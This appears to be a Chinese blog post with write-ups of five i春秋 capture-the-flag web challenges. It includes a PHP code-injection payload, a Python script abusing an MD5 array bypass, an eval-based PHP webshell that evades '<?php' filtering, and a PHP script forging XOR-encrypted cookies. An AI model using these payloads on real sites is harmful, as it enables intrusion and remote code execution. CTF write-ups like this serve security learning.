i春秋 web_1-5

原创

H4ppyD0g 于 2019-08-16 16:19:10 发布 173 收藏

本文链接：https://blog.csdn.net/weixin_42172261/article/details/99656160

1 爆破-1

拿到一个网页上去先看有没有源码泄露或者其他隐藏文件，可以通过检查、查看源码、bp抓包、index.php、index.phps、robots.txt等。
源码中要用正则匹配hello参数，直接让他等于GLOBALS就可以了

---

2 爆破-2

构造注入?hello=1);show_source(%27flag.php%27);//

---

3 爆破-3

代码审计题，每次让whoami等于那两个字符就可以，MD5用数组绕过。

```
import requests
url = "http://7f59f2da22e445848cc647d22f42dedf02e10e7082824892.changame.ichunqiu.com/?value[]="
s = requests.session()
t = s.get(url + "ea")
for i in range(10):
    t = s.get(url + t.text[0:2])
print(t.text)
```

---

4 Upload

先上传php一句话木马，发现<?php被过滤。
那就用 `<script language="PHP"> @eval($_POST['lab']); </script>`
菜刀链接拿到flag

---

5 Code

PhpStorm
使用phpstorm 创建的文件里面会有一个.idea文件夹，里面存储一个配置文件
其中workspace.xml可以显示网站的大致结构。

异或：A = C^B 那么 B = A ^ C、C = A^B

题解链接https://blog.csdn.net/qingchenldl/article/details/84576315
最后的脚本用python总是错，后来找了一个php的脚本
原理就是借助guest产生密文，求出对应的key，直接去加密"system"

```php
<?php
error_reporting(E_ALL || ~E_NOTICE);

$text = 'guest';

$cookie_guest = 'bp抓到的cookie';
$cookie_guest = base64_decode($cookie_guest);

$rnd = substr($cookie_guest,0,4);
$cookie_guest = substr($cookie_guest,4);

for ($i = 0; $i < strlen($text); $i++) {
  $text[$i] = chr(ord($text[$i])+10);
}

for ($i = 0; $i < strlen($text); $i++) {
 $key .= ($text[$i] ^ $cookie_guest[$i]);
}
$text2 = 'system';
for ($i = 0; $i < strlen($text2); $i++) {
  $text2[$i] = chr(ord($text2[$i])+10);
}
$t = '0123456789abcdef';
for ($j = 0; $j < strlen($t); $j++) {
  $key_temp = $key.$t[$j];
   $result = '';
    for ($i = 0; $i < strlen($text2); $i++) {
  $result .= ($key_temp[$i] ^ $text2[$i]);
 }
 $result = base64_encode($rnd.$result);
  echo $result."\n";
}
?>
```